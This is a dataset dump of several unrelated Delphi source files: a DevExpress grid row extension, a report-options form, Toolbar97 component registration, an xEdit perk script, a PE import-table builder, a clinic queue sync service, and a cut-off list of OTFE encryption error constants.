text stringlengths 14 6.51M |
|---|
unit cxmymultirow;
interface
uses Classes, Types, cxVGrid, cxVGridViewInfo, cxVGridUtils;
type
TcxMyMultiEditorRow = class;
tcxMyMultiEditorRowHeaderInfo = class(tcxMultiEditorRowHeaderInfo)
private
function GetRow: TcxMyMultiEditorRow;
protected
procedure CalcRowCaptionsInfo; override;
property Row: TcxMyMultiEditorRow read GetRow;
end;
TcxMyMultiEditorRow = class(TcxMultiEditorRow)
private
FFirstEditorHeader: boolean; // AR
public
function CreateHeaderInfo: TcxCustomRowHeaderInfo; override;
published
property FirstEditorHeader: boolean read FFirstEditorHeader
write FFirstEditorHeader default False; // AR
procedure Assign(Source: TPersistent); override; // AR
end;
implementation
procedure TcxMyMultiEditorRow.Assign(Source: TPersistent);
begin
if Source is TcxMyMultiEditorRow then
Self.FirstEditorHeader := TcxMyMultiEditorRow(Source).FirstEditorHeader;
inherited Assign(Source);
end;
function TcxMyMultiEditorRow.CreateHeaderInfo: TcxCustomRowHeaderInfo;
begin
Result := tcxMyMultiEditorRowHeaderInfo.Create(Self);
end;
function tcxMyMultiEditorRowHeaderInfo.GetRow: TcxMyMultiEditorRow;
begin
Result := TcxMyMultiEditorRow(inherited Row);
end;
procedure tcxMyMultiEditorRowHeaderInfo.CalcRowCaptionsInfo;
var
I: Integer;
R: TRect;
ARects: TcxRectList;
ACaptionInfo: TcxRowCaptionInfo;
begin
CalcSeparatorWidth(ViewInfo.DividerWidth);
CalcSeparatorStyle;
ARects := TcxMultiEditorRowViewInfo.GetCellRects(Row, HeaderCellsRect,
SeparatorInfo.Width);
if ARects <> nil then
try
// AR begin
if Row.FirstEditorHeader and (ARects.Count > 1) then
begin
ACaptionInfo := CalcCaptionInfo(Row.Properties.Editors[0],
HeaderCellsRect);
CaptionsInfo.Add(ACaptionInfo);
end
else
begin
for I := 0 to ARects.Count - 1 do
begin
R := ARects[I];
if R.Left < HeaderCellsRect.Right then
begin
ACaptionInfo := CalcCaptionInfo(Row.Properties.Editors[I], R);
ACaptionInfo.RowCellIndex := I;
CaptionsInfo.Add(ACaptionInfo);
end;
end;
CalcSeparatorRects(ARects);
end;
// AR end
finally
ARects.Free;
end;
end;
end.
|
unit fmAsupReportStd;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, cxLabel, cxControls, cxContainer, cxEdit, cxTextEdit,
cxMaskEdit, cxButtonEdit, cxLookAndFeelPainters, StdCtrls, cxButtons,
cxDropDownEdit, cxCalendar, ActnList, IBase, uCommonSp,
Asup_LoaderPrintDocs_Types, Asup_LoaderPrintDocs_Proc,
Asup_LoaderPrintDocs_WaitForm, ASUP_LoaderPrintDocs_Consts,
ASUP_LoaderPrintDocs_Messages, cxMRUEdit, cxCheckBox, DB, FIBDatabase,
pFIBDatabase, FIBDataSet, pFIBDataSet, cxLookupEdit, cxDBLookupEdit,
cxDBLookupComboBox, cxSpinEdit;
type
TFormOptions = class(TForm)
YesBtn: TcxButton;
CancelBtn: TcxButton;
ActionList: TActionList;
YesAction: TAction;
CancelAction: TAction;
DesRep: TAction;
EditDepartment: TcxButtonEdit;
LabelDepartment: TcxLabel;
CheckBoxWithChild: TcxCheckBox;
DB: TpFIBDatabase;
DSet: TpFIBDataSet;
Tran: TpFIBTransaction;
LabelDateForm: TcxLabel;
DateEdit: TcxDateEdit;
Bevel1: TBevel;
LabelDateWork: TcxLabel;
WorkEdit: TcxDateEdit;
LabelDateStd: TcxLabel;
StdEdit: TcxDateEdit;
procedure CancelActionExecute(Sender: TObject);
procedure YesActionExecute(Sender: TObject);
procedure DesRepExecute(Sender: TObject);
procedure cxMRUEdit1PropertiesButtonClick(Sender: TObject);
procedure EditDepartmentPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
private
PDb_Handle:TISC_DB_HANDLE;
PId_Depratment:integer;
PDesignRep: Boolean;
public
constructor Create(AParameter:TSimpleParam);reintroduce;
property Id_Department:integer read PId_Depratment;
property DesignRep:Boolean read PDesignRep write PDesignRep;
end;
implementation
{$R *.dfm}
constructor TFormOptions.Create(AParameter:TSimpleParam);
var Year, Month, Day: Word; str:string;
begin
inherited Create(AParameter.Owner);
PDb_Handle:=AParameter.DB_Handle;
Caption := 'Періоди вибрання';
YesBtn.Caption := YesBtn_Caption;
CancelBtn.Caption := CancelBtn_Caption;
YesBtn.Hint := YesBtn.Caption;
CancelBtn.Hint := CancelBtn.Caption;
LabelDepartment.Caption := Label_Department_Caption;
CheckBoxWithChild.Properties.Caption := CheckBoxWithChild_Caption;
LabelDateForm.Caption := Label_DateSelect_Caption;
LabelDateWork.Caption := 'Працює до';
LabelDateStd.Caption := 'Є вибрання на';
DateEdit.Date := Date;
DecodeDate(Date,Year, Month, Day);
str:='31.08.'+inttostr(year);
WorkEdit.Date:=strtodate(str);
str:='';
str:='01.09.'+inttostr(year);
StdEdit.Date:=strtodate(str);
PId_Depratment:=-255;
PDesignRep:=false;
DSet.SQLs.SelectSQL.Text := 'SELECT CURRENT_DEPARTMENT, FIRM_NAME FROM INI_ASUP_CONSTS';
DB.Handle:=AParameter.DB_Handle;
DSet.Open;
EditDepartment.Text:= DSet.FieldValues['FIRM_NAME'];
PId_Depratment:=DSet.FieldValues['CURRENT_DEPARTMENT'];
end;
procedure TFormOptions.CancelActionExecute(Sender: TObject);
begin
ModalResult:=mrCancel;
end;
procedure TFormOptions.YesActionExecute(Sender: TObject);
begin
if EditDepartment.Text='' then
begin
AsupShowMessage(Error_Caption,E_NotSelectDepartment_Text,mtWarning,[mbOK]);
Exit;
end;
{if DateEditBeg.Date>DateEditEnd.Date then
begin
AsupShowMessage(Error_Caption,E_Terms_Text,mtWarning,[mbOK]);
Exit;
end; }
ModalResult := mrYes;
end;
procedure TFormOptions.cxMRUEdit1PropertiesButtonClick(Sender: TObject);
var sp: TSprav;
begin
sp := GetSprav('SpDepartment');
if sp <> nil then
begin
// заполнить входные параметры
with sp.Input do
begin
Append;
FieldValues['DBHandle'] := Integer(PDb_Handle);
FieldValues['ShowStyle'] := 0;
FieldValues['Select'] := 1;
FieldValues['Actual_Date'] := Date;
Post;
end;
end;
sp.Show;
if sp.Output = nil then
ShowMessage('Не обрано жодного підрозділу!')
else
if not sp.Output.IsEmpty then
begin
EditDepartment.Text := varToStr(sp.Output['NAME_FULL']);
PId_Depratment:=sp.Output['ID_DEPARTMENT'];
end;
sp.Free;
end;
procedure TFormOptions.EditDepartmentPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var sp: TSprav;
begin
sp := GetSprav('SpDepartment');
if sp <> nil then
begin
// заполнить входные параметры
with sp.Input do
begin
Append;
FieldValues['DBHandle'] := Integer(PDb_Handle);
FieldValues['ShowStyle'] := 0;
FieldValues['Select'] := 1;
FieldValues['Actual_Date'] := Date;
Post;
end;
end;
sp.Show;
if sp.Output = nil then
ShowMessage('Не обрано жодного підрозділу!')
else
if not sp.Output.IsEmpty then
begin
EditDepartment.Text := varToStr(sp.Output['NAME_FULL']);
PId_Depratment:=sp.Output['ID_DEPARTMENT'];
end;
sp.Free;
end;
procedure TFormOptions.DesRepExecute(Sender: TObject);
begin
PDesignRep:=not PDesignRep;
end;
end.
|
unit TB97Reg;
{
Toolbar97
Copyright (C) 1998-2004 by Jordan Russell
http://www.jrsoftware.org/
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Design-time component registration
$jrsoftware: tb97/Source/TB97Reg.pas,v 1.5 2004/02/23 22:53:00 jr Exp $
}
interface
{$I TB97Ver.inc}
procedure Register;
implementation
uses
SysUtils, Classes, Dialogs,
{$IFDEF TB97D6} DesignIntf, DesignEditors, {$ELSE} DsgnIntf, {$ENDIF}
TB97Vers, TB97, TB97Tlbr, TB97Tlwn, TB97Ctls;
type
TToolbar97VersionProperty = class(TStringProperty)
public
procedure Edit; override;
function GetAttributes: TPropertyAttributes; override;
end;
procedure TToolbar97VersionProperty.Edit;
const
AboutText =
'%s'#13#10 +
'Copyright (C) 1998-2004 by Jordan Russell'#13#10 +
'For conditions of distribution and use, see LICENSE.TXT.'#13#10 +
#13#10 +
'Visit my web site for the latest versions of Toolbar97:'#13#10 +
'http://www.jrsoftware.org/';
begin
MessageDlg (Format(AboutText, [GetStrValue]), mtInformation, [mbOK], 0);
end;
function TToolbar97VersionProperty.GetAttributes: TPropertyAttributes;
begin
Result := inherited GetAttributes + [paDialog, paReadOnly];
end;
procedure Register;
begin
RegisterComponents ('Toolbar97', [TDock97, TToolbar97, TToolWindow97,
TToolbarButton97, TToolbarSep97, TEdit97]);
RegisterPropertyEditor (TypeInfo(TToolbar97Version), nil, '',
TToolbar97VersionProperty);
end;
end.
|
unit UserScript;
uses dubhFunctions;
var
outputFile: IwbFile;
lsMasters, lsPerks: TStringList;
copyIdenticalToMaster: Boolean;
function Initialize: Integer;
begin
// create list for master files
lsMasters := TStringList.Create;
lsMasters.Duplicates := dupIgnore;
lsPerks := TStringList.Create;
copyIdenticalToMaster := False;
end;
function Process(e: IInterface): Integer;
var
i: Integer;
item, items: IInterface;
begin
if Signature(e) <> 'FLST' then
Raise Exception.Create('Script must be run on a formlist record.');
outputFile := GetFile(e);
items := ElementByName(e, 'FormIDs');
for i := 0 to ElementCount(items) - 1 do begin
item := LastOverride(LinksTo(ElementByIndex(items, i)));
CopyRecordAsOverride(item);
end;
end;
function Finalize: Integer;
begin
lsPerks.Free;
lsMasters.Free;
end;
procedure GeneratePerkList(p: IInterface; l: TStringList);
var
masterPerk, previousPerk, nextPerk: IInterface;
begin
masterPerk := LastOverride(p);
// do nothing with perks where there is no next perk
nextPerk := ElementBySignature(masterPerk, 'NNAM');
if not Assigned(nextPerk) then begin
l.Add(HexFormID(masterPerk));
exit;
end;
previousPerk := masterPerk;
repeat
l.Add(HexFormID(previousPerk));
nextPerk := LastOverride(LinksTo(ElementBySignature(previousPerk, 'NNAM')));
previousPerk := nextPerk;
until Equals(nextPerk, masterPerk);
end;
procedure CopyRecordAsOverride(e: IInterface);
var
i: Integer;
perk, level, override, playable: IInterface;
begin
// playable only
playable := ElementByPath(e, 'DATA\Playable');
if HasString('False', GetEditValue(playable), True) then
exit;
// create a list of form ids for perk series
GeneratePerkList(e, lsPerks);
// process list
for i := 0 to lsPerks.Count - 1 do begin
perk := LastOverride(RecordByHexFormID(lsPerks[i]));
// playable only
playable := ElementByPath(perk, 'DATA\Playable');
if HasString('False', GetEditValue(playable), True) then
continue;
if not copyIdenticalToMaster then begin
level := ElementByPath(perk, 'DATA\Level');
if not Assigned(level) or GetNativeValue(level) = i then
continue;
end;
// add masters
AddMastersToList(GetFile(perk), lsMasters);
AddMastersToFile(outputFile, lsMasters, True);
// copy perk as override
override := wbCopyElementToFile(perk, outputFile, False, True);
// change perk level in new override record
level := ElementByPath(override, 'DATA\Level');
SetNativeValue(level, i);
end;
lsPerks.Clear;
end;
end.
|
unit PE.Build.Import;
interface
uses
System.Classes,
System.Generics.Collections,
System.SysUtils,
PE.Common,
PE.Section,
PE.Build.Common,
PE.Utils;
type
TImportBuilder = class(TDirectoryBuilder)
public
// Modified after Build called.
BuiltIatRVA: TRVA;
BuiltIatSize: uint32;
procedure Build(DirRVA: TRVA; Stream: TStream); override;
class function GetDefaultSectionFlags: Cardinal; override;
class function GetDefaultSectionName: string; override;
class function NeedRebuildingIfRVAChanged: Boolean; override;
end;
implementation
uses
// Expand
PE.Image,
PE.Types.FileHeader,
//
PE.Imports,
PE.Imports.Lib,
PE.Imports.Func,
PE.Types.Imports;
{
* Import directory layout
*
* IDT.
* For each library
* Import Descriptor
* Null Import Descriptor
*
* Name pointers.
* For each library
* For each function
* Pointer to function hint/name or ordinal
* Null pointer
*
* IAT.
* For each library
* For each function
* Function address
* Null address
*
* Names.
* For each library
* Library name
* ** align 2 **
* For each function
* Hint: uint16
* Function name: variable length
}
procedure WriteStringAligned2(Stream: TStream; const s: string);
const
null: byte = 0;
var
bytes: TBytes;
begin
bytes := TEncoding.ANSI.GetBytes(s);
StreamWrite(Stream, bytes[0], length(bytes));
StreamWrite(Stream, null, 1);
if Stream.Position mod 2 <> 0 then
StreamWrite(Stream, null, 1);
end;
procedure WriteIDT(
Stream: TStream;
var ofs_idt: uint32;
const idt: TImportDirectoryTable);
begin
Stream.Position := ofs_idt;
StreamWrite(Stream, idt, sizeof(idt));
inc(ofs_idt, sizeof(idt));
end;
procedure WriteNullIDT(Stream: TStream; var ofs_idt: uint32);
var
idt: TImportDirectoryTable;
begin
idt.Clear;
WriteIDT(Stream, ofs_idt, idt);
end;
// Write library name and set idt name pointer, update name pointer offset.
procedure WriteLibraryName(
Stream: TStream;
Lib: TPEImportLibrary;
DirRVA: TRVA;
var ofs_names: uint32;
var idt: TImportDirectoryTable);
begin
// library name
idt.NameRVA := DirRVA + ofs_names;
Stream.Position := ofs_names;
WriteStringAligned2(Stream, Lib.Name);
ofs_names := Stream.Position;
end;
function MakeOrdinalRVA(ordinal: uint16; wordsize: byte): TRVA; inline;
begin
if wordsize = 4 then
result := $80000000 or ordinal
else
result := $8000000000000000 or ordinal;
end;
procedure WriteFunctionNamesOrOrdinalsAndIat(
Stream: TStream;
Lib: TPEImportLibrary;
DirRVA: TRVA;
var ofs_names: uint32;
var ofs_name_pointers: uint32;
var ofs_iat: uint32;
var idt: TImportDirectoryTable;
wordsize: byte);
var
hint: uint16;
fn: TPEImportFunction;
rva_hint_name: TRVA;
begin
if Lib.Functions.Count = 0 then
exit;
idt.ImportLookupTableRVA := DirRVA + ofs_name_pointers;
if (not Lib.Original) then
begin
idt.ImportAddressTable := DirRVA + ofs_iat;
// Update IAT in library.
Lib.IatRva := idt.ImportAddressTable;
end
else
begin
idt.ImportAddressTable := Lib.IatRva;
end;
hint := 0;
for fn in Lib.Functions do
begin
// Write name.
if not fn.Name.IsEmpty then
begin
// If imported by name.
rva_hint_name := DirRVA + ofs_names;
Stream.Position := ofs_names;
StreamWrite(Stream, hint, sizeof(hint));
WriteStringAligned2(Stream, fn.Name);
ofs_names := Stream.Position;
end
else
begin
// If imported by ordinal.
rva_hint_name := MakeOrdinalRVA(fn.ordinal, wordsize);
end;
// Write name pointer.
Stream.Position := ofs_name_pointers;
StreamWrite(Stream, rva_hint_name, wordsize);
inc(ofs_name_pointers, wordsize);
// Write IAT item.
Stream.Position := ofs_iat;
StreamWrite(Stream, rva_hint_name, wordsize);
inc(ofs_iat, wordsize);
end;
rva_hint_name := 0;
// Write null name pointer.
Stream.Position := ofs_name_pointers;
StreamWrite(Stream, rva_hint_name, wordsize);
ofs_name_pointers := Stream.Position;
// Write null IAT item.
Stream.Position := ofs_iat;
StreamWrite(Stream, rva_hint_name, wordsize);
inc(ofs_iat, wordsize);
end;
procedure TImportBuilder.Build(DirRVA: TRVA; Stream: TStream);
var
idt: TImportDirectoryTable;
Lib: TPEImportLibrary;
elements: uint32;
var
ofs_idt: uint32;
ofs_name_pointers: uint32;
ofs_iat, ofs_iat_0: uint32;
ofs_names: uint32;
begin
BuiltIatRVA := 0;
BuiltIatSize := 0;
if FPE.Imports.Libs.Count = 0 then
exit;
// Calculate initial offsets.
elements := 0;
for Lib in FPE.Imports.Libs do
inc(elements, Lib.Functions.Count + 1);
ofs_idt := 0;
ofs_name_pointers := sizeof(idt) * (FPE.Imports.Libs.Count + 1);
ofs_iat := ofs_name_pointers + elements * (FPE.ImageWordSize);
ofs_iat_0 := ofs_iat;
ofs_names := ofs_name_pointers + 2 * elements * (FPE.ImageWordSize);
// Write.
for Lib in FPE.Imports.Libs do
begin
idt.Clear;
WriteLibraryName(Stream, Lib, DirRVA, ofs_names, idt);
WriteFunctionNamesOrOrdinalsAndIat(Stream, Lib, DirRVA,
ofs_names, ofs_name_pointers, ofs_iat, idt, FPE.ImageWordSize);
WriteIDT(Stream, ofs_idt, idt);
end;
WriteNullIDT(Stream, ofs_idt);
self.BuiltIatRVA := DirRVA + ofs_iat_0;
self.BuiltIatSize := ofs_iat - ofs_iat_0;
end;
class function TImportBuilder.GetDefaultSectionFlags: Cardinal;
begin
result := $C0000040;
end;
class function TImportBuilder.GetDefaultSectionName: string;
begin
result := '.idata';
end;
class function TImportBuilder.NeedRebuildingIfRVAChanged: Boolean;
begin
result := True;
end;
end.
|
unit srvAntriU;
interface
uses Dialogs, Classes, srvCommonsU, System.SysUtils, System.StrUtils;
type
srvAntri = class(srvCommon)
private
// function jsonToSql(table : string = 'simpus.m_instalasi'; json : string = ''; update : Boolean = False; pkey : string = '') : string;
function ambilJsonAntriPost(puskesmas : Integer; tanggal : TDateTime) : string;
function ambilJsonAntriTopikPost(puskesmas : integer; tanggal : TDateTime) : string;
procedure masukkanGetAntriAndro(puskesmas : integer; tanggal : TDateTime);
procedure masukkanPostAntri(id : string);
procedure masukkanPostAntriFcm(id : string);
public
aScript : TStringList;
constructor Create;
destructor destroy;
function ambilJsonAntriFcmPost(puskesmas : integer; tanggal : TDateTime) : string;
function getAntriAndro(puskesmas : integer; tanggal : TDateTime) : Boolean;
function postAntri(puskesmas : Integer; tanggal : TDateTime) : Boolean;
function postAntriFcm(puskesmas : integer; tanggal : TDateTime; logOnly : Boolean) : Boolean;
function postAntriTopik(puskesmas : Integer; tanggal: TDateTime; logOnly : Boolean) : Boolean;
// property Uri : string;
end;
implementation
uses SynCommons, mORMot, synautil;
{ srvAntriAndro }
function srvAntri.ambilJsonAntriFcmPost(puskesmas : integer; tanggal : TDateTime): string;
var sql0, sql1, tanggalStr : string;
V0, V1, V2 : Variant;
begin
DateTimeToString(tanggalStr, 'yyyy-MM-dd', tanggal);
parameter_bridging('antri fcm', 'post');
V0 := _Arr([]);
V2 := _Json(FormatJson);
Result := '';
sql0 := 'select * from andro.antri_fcm_view where puskesmas = %s and tanggal = %s and token is not null and fcm = false;';
sql1 := Format(sql0, [IntToStr(puskesmas), QuotedStr(tanggalStr)]);
fdQuery.Close;
fdQuery.SQL.Clear;
fdQuery.SQL.Add(sql1);
fdQuery.Active := true;
if not fdQuery.IsEmpty then
begin
fdQuery.First;
while not fdQuery.Eof do
begin
//ShowMessage(VariantSaveJSON(V1));
VarClear(V1);
V1 := V2;
V1.id := fdQuery.FieldByName('id').AsString;
V1.nik := fdQuery.FieldByName('nik').AsString;
V1.token := fdQuery.FieldByName('token').AsString;
V1.nomor := fdQuery.FieldByName('nomor').AsInteger;
V0.add(V1);
fdQuery.Next;
end;
fdQuery.Close;
Result := VariantSaveJSON(V0);
end else fdQuery.Close;
end;
function srvAntri.ambilJsonAntriPost(puskesmas : Integer; tanggal : TDateTime): string;
var sql0, sql1, tanggalStr : string;
V0,V1, V2 : Variant;
begin
DateTimeToString(tanggalStr, 'yyyy-MM-dd', tanggal);
parameter_bridging('antri', 'post');
V0 := _Arr([]);
V2 := _Json(FormatJson);
Result := '';
sql0 := 'select * from simpus.antri where puskesmas = %s and tanggal = %s and dari_server is null;';
sql1 := Format(sql0, [intToStr(puskesmas), QuotedStr(tanggalStr)]);
fdQuery.Close;
fdQuery.SQL.Clear;
fdQuery.SQL.Add(sql1);
fdQuery.Active := true;
//ShowMessage('tes');
if not fdQuery.IsEmpty then
begin
// ShowMessage(VariantSaveJSON(V2));
fdQuery.First;
while not fdQuery.Eof do
begin
VarClear(V1);
V1 := V2;
V1.id := fdQuery.FieldByName('id').AsString;
V1.puskesmas := fdQuery.FieldByName('puskesmas').AsInteger;
V1.tanggal := tanggalStr;
V1.nomor := fdQuery.FieldByName('nomor').AsInteger;
V1.didaftar := fdQuery.FieldByName('didaftar').AsInteger;
if not fdQuery.FieldByName('daftar').IsNull then
V1.daftar := fdQuery.FieldByName('daftar').AsString;
if not fdQuery.FieldByName('andro').IsNull then
V1.andro := fdQuery.FieldByName('andro').AsString;
if not fdQuery.FieldByName('token').IsNull then
V1.token := fdQuery.FieldByName('token').AsString;
if not fdQuery.FieldByName('dari_server').IsNull then
V1.dariServer := fdQuery.FieldByName('dari_server').AsString;
V0.Add(V1);
fdQuery.Next;
end;
fdQuery.Close;
Result := VariantSaveJSON(V0);
end else fdQuery.Close;
end;
function srvAntri.ambilJsonAntriTopikPost(puskesmas : Integer; tanggal : TDateTime): string;
var sql0, sql1, tanggalStr : string;
V1 : Variant;
begin
DateTimeToString(tanggalStr, 'YYYY-MM-DD', tanggal);
parameter_bridging('antri fcm topik', 'post');
V1 := _Json(FormatJson);
Result := '';
sql0 := 'select * from simpus.antri_view where puskesmas = %s and tanggal = %s limit 1;';
sql1 := Format(sql0, [ IntToStr(puskesmas), QuotedStr(tanggalStr)]);
fdQuery.Close;
fdQuery.SQL.Clear;
fdQuery.SQL.Add(sql1);
fdQuery.Active := true;
if not fdQuery.IsEmpty then
begin
//ShowMessage(VariantSaveJSON(V1));
V1.id := fdQuery.FieldByName('id').AsString;
V1.puskesmas := fdQuery.FieldByName('puskesmas').AsInteger;
V1.tanggal := tanggalStr;
V1.jumlah := fdQuery.FieldByName('jumlah').AsInteger;
V1.didaftar := fdQuery.FieldByName('didaftar').AsInteger;
fdQuery.Close;
Result := VariantSaveJSON(V1);
end else fdQuery.Close;
end;
constructor srvAntri.Create;
begin
inherited Create;
aScript := TStringList.Create;
end;
destructor srvAntri.destroy;
begin
aScript.Free;
inherited;
end;
function srvAntri.getAntriAndro(puskesmas : integer; tanggal : TDateTime): Boolean;
var sql0, sql1, strTgl : string;
begin
parameter_bridging('antri andro', 'get');
DateTimeToString(strTgl, 'YYYY-MM-DD', tanggal);
Result := False;
//ShowMessage(uri);
Uri := ReplaceStr(Uri, '{puskesmas}', IntToStr(puskesmas));
Uri := ReplaceStr(Uri, '{tanggal}', strTgl);
//ShowMessage(uri);
Result:= httpGet(uri);
if Result then masukkangetAntriAndro(puskesmas, tanggal);
FDConn.Close;
end;
procedure srvAntri.masukkangetAntriAndro(puskesmas : integer; tanggal : TDateTime);
var dataResp, dataList : Variant;
i : Integer;
tSl : TStringList;
sqlx0, sqlx1 : string;
sql0, sql1 : string;
dId, dNik, dToken, strTgl : string;
adlAktif : Boolean;
begin
// ShowMessage('awal masukkan get');
sql0 := 'insert into andro.antri_andro(id, puskesmas, tanggal, nik, token) ' +
'values(%s, %s, %s, %s, %s) on conflict (id) do nothing;';
tsL := TStringList.Create;
DateTimeToString(strTgl, 'YYYY-MM-DD', tanggal);
// ShowMessage(tsResponse.Text);
dataResp := _jsonFast(tsResponse.Text);
if dataResp._count > 0 then
begin
try
for I := 0 to dataResp._count - 1 do
begin
dId := dataResp.Value(i).id;
// ShowMessage('id : ' + dId);
dNik := dataResp.Value(i).nik;
// ShowMessage('nik : ' + dNik);
dToken := dataResp.Value(i).token;
// ShowMessage('token : ' + dToken);
sql1 := Format(sql0, [
QuotedStr(dId),
IntToStr(puskesmas),
QuotedStr(strTgl),
QuotedStr(dNik),
QuotedStr(dToken)
]);
tSl.Add(sql1);
// showMessage(sqlDel1);
// showMessage(sql1);
end;
finally
aScript.Assign(tSl);
jalankanScript(tSl);
FreeAndNil(tSl);
end;
end;
end;
procedure srvAntri.masukkanPostAntri(id: string);
var
V1 : Variant;
dariServer : string;
sql0, sql1 : string;
tSL : TStringList;
begin
//ShowMessage(tsResponse.Text);
V1 := _Json(tsResponse.Text);
dariServer := V1.dariServer;
sql0 := 'update simpus.antri set dari_server = %s where id = %s;';
sql1 := Format(sql0,[
QuotedStr(dariServer),
QuotedStr(id)
]);
tSL := TStringList.Create;
try
tSL.Add(sql1);
jalankanScript(tSL);
finally
tSL.Free;
end;
end;
procedure srvAntri.masukkanPostAntriFcm(id: string);
var
V1 : Variant;
dariServer : string;
sql0, sql1 : string;
tSL : TStringList;
begin
//ShowMessage(tsResponse.Text);
// V1 := _Json(tsResponse.Text);
sql0 := 'update simpus.antri set fcm = true where id = %s;';
sql1 := Format(sql0,[
QuotedStr(id)
]);
tSL := TStringList.Create;
try
tSL.Add(sql1);
jalankanScript(tSL);
finally
tSL.Free;
end;
end;
function srvAntri.postAntri(puskesmas : Integer; tanggal : TDateTime): Boolean;
var
mStream : TMemoryStream;
js, jsX, id, Uri0 : string;
V0, V1 : Variant;
i : Integer;
begin
Result := False;
js := ambilJsonAntriPost(puskesmas, tanggal);
if Length(js) > 20 then
begin
V0 := _Json(js);
if V0._count > 0 then
begin
for I := 0 to V0._count - 1 do
begin
Result := False;
VarClear(V1);
V1 := V0.Value(i);
_Unique(V1);
id := V1.id;
Uri0 := ReplaceStr(Uri, '{id}', id);
//V1.token := Uri0;
jsX := VariantSaveJSON(V1);
mStream := TMemoryStream.Create;
WriteStrToStream(mStream, jsX);
Result:= httpPost(Uri0, mStream);
// FileFromString(jsX, 'jsX' + IntToStr(i) + '.json');
mStream.Free;
if Result then jika_berhasil('simpus.antri', id) else
jika_gagal('post', Uri0, jsX, 'simpus.antri', id);
if Result then masukkanPostAntri(id);
end;
end;
end;
FDConn.Close;
end;
function srvAntri.postAntriFcm(puskesmas : Integer; tanggal : TDateTime; logOnly : Boolean): Boolean;
var
mStream : TMemoryStream;
js, jsX, id : string;
V0, V1 : Variant;
i : Integer;
begin
Result := False;
js := ambilJsonAntriFcmPost(puskesmas, tanggal);
if Length(js) > 10 then
begin
V0 := _Json(js);
if V0._count > 0 then
begin
for I := 0 to V0._count - 1 do
begin
Result := False;
VarClear(V1);
V1 := V0.Value(i);
_Unique(V1);
id := V1.id;
jsX := VariantSaveJSON(V1);
mStream := TMemoryStream.Create;
WriteStrToStream(mStream, jsX);
//Uri := ReplaceStr(Uri, '{id}', id);
if not logOnly then Result:= httpPost(Uri, mStream);
FormatJson := jsX;
mStream.Free;
//FileFromString(jsX, 'jsX' + IntToStr(i) + '.json');
if Result then jika_berhasil('andro.antri_fcm_view', id) else
jika_gagal('post', Uri, jsX, 'andro.antri_fcm_view', id);
if Result then masukkanPostAntriFcm(id);
end;
end;
end;
FDConn.Close;
end;
function srvAntri.postAntriTopik(puskesmas: Integer; tanggal: TDateTime;
logOnly: Boolean): Boolean;
var
mStream : TMemoryStream;
js : string;
begin
Result := False;
js := ambilJsonAntriTopikPost(puskesmas, tanggal);
if Length(js) > 10 then
begin
mStream := TMemoryStream.Create;
WriteStrToStream(mStream, js);
//Uri := ReplaceStr(Uri, '{id}', id);
if not logOnly then Result:= httpPost(Uri, mStream);
FormatJson := js;
mStream.Free;
{
// tidak perlu diulang
if Result then jika_berhasil('simpus.antri_view', ) else
jika_gagal('post', Uri, js, 'andro.antri_fcm_view', id);
}
//if Result then masukkanPostAntriFcm(id);
end;
FDConn.Close;
end;
end.
|
unit OTFEConsts_U;
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
interface
uses
SysUtils; // Required for exceptions
const
OTFE_ERR_SUCCESS = $00; // No error
OTFE_ERR_NOT_ACTIVE = $01;
OTFE_ERR_DRIVER_FAILURE = $02;
OTFE_ERR_USER_CANCEL = $03;
OTFE_ERR_WRONG_PASSWORD = $04;
OTFE_ERR_VOLUME_FILE_NOT_FOUND = $05;
OTFE_ERR_INVALID_DRIVE = $06; // You've attempted to mount a
// volume using a drive letter
// which is already in use
OTFE_ERR_MOUNT_FAILURE = $07; // Generic error; may be one of the other more specific ones
OTFE_ERR_DISMOUNT_FAILURE = $08; // Generic error; may be one of the other more specific ones
OTFE_ERR_FILES_OPEN = $09;
OTFE_ERR_STREAMING_DATA = $0A; // Similar to OTFE_ERR_FILES_OPEN, used with ScramDisk NT
OTFE_ERR_FILE_NOT_ENCRYPTED_VOLUME = $0B;
OTFE_ERR_UNABLE_TO_LOCATE_FILE = $0C;
OTFE_ERR_DISMOUNT_RECURSIVE = $0D; // You've attempted to dismount a
// volume that contains a volume
// file that is currently mounted
OTFE_ERR_INSUFFICENT_RIGHTS = $0E; // You don't have sufficient rights
// to perform the required operation
// e.g. when using ScramDisk NT v3,
// attempting to load the ScramDisk
// driver with insufficient rights
OTFE_ERR_NOT_W9X = $0F; // Operation not available under
// Windows 95/98/Me
OTFE_ERR_NOT_WNT = $10; // Operation not available under
// Windows NT/2000
OTFE_ERR_NO_FREE_DRIVE_LETTERS = $11;
OTFE_ERR_VOLUME_FILE_FAILURE = $12; // Volume file does not contain
// enough data, cannot read from
// volume file
// BestCrypt
OTFE_ERR_UNKNOWN_ALGORITHM = $20;
OTFE_ERR_UNKNOWN_KEYGEN = $21;
// ScramDisk
OTFE_ERR_UNABLE_MOUNT_COMPRESSED = $30; // User tried to mount a volume
// file that was compressed with
// Windows NT/2000 compression
// CrossCrypt
OTFE_ERR_NO_FREE_DEVICES = $40; // No more CrossCrypt disk devices
// exist
// FreeOTFE
OTFE_ERR_HASH_FAILURE = $50; // Hashing failed
OTFE_ERR_CYPHER_FAILURE = $51; // Encrypt/decrypt failed
OTFE_ERR_MAC_FAILURE = $52; // MAC failed
OTFE_ERR_KDF_FAILURE = $53; // KDF failed
OTFE_ERR_PKCS11_SECRET_KEY_DECRYPT_FAILURE = $54; // Unable to decrypt CDB with
// PKCS#11 secret key
OTFE_ERR_KEYFILE_NOT_FOUND = $55; // Keyfile not found/couldn't be read
// PANIC!
OTFE_ERR_UNKNOWN_ERROR = $FF;
OTFE_EXCPT_NOT_ACTIVE = 'OTFE component not connected - set Active to TRUE first';
OTFE_EXCPT_NOT_W9X = 'Operation not available under Windows 95/98/Me';
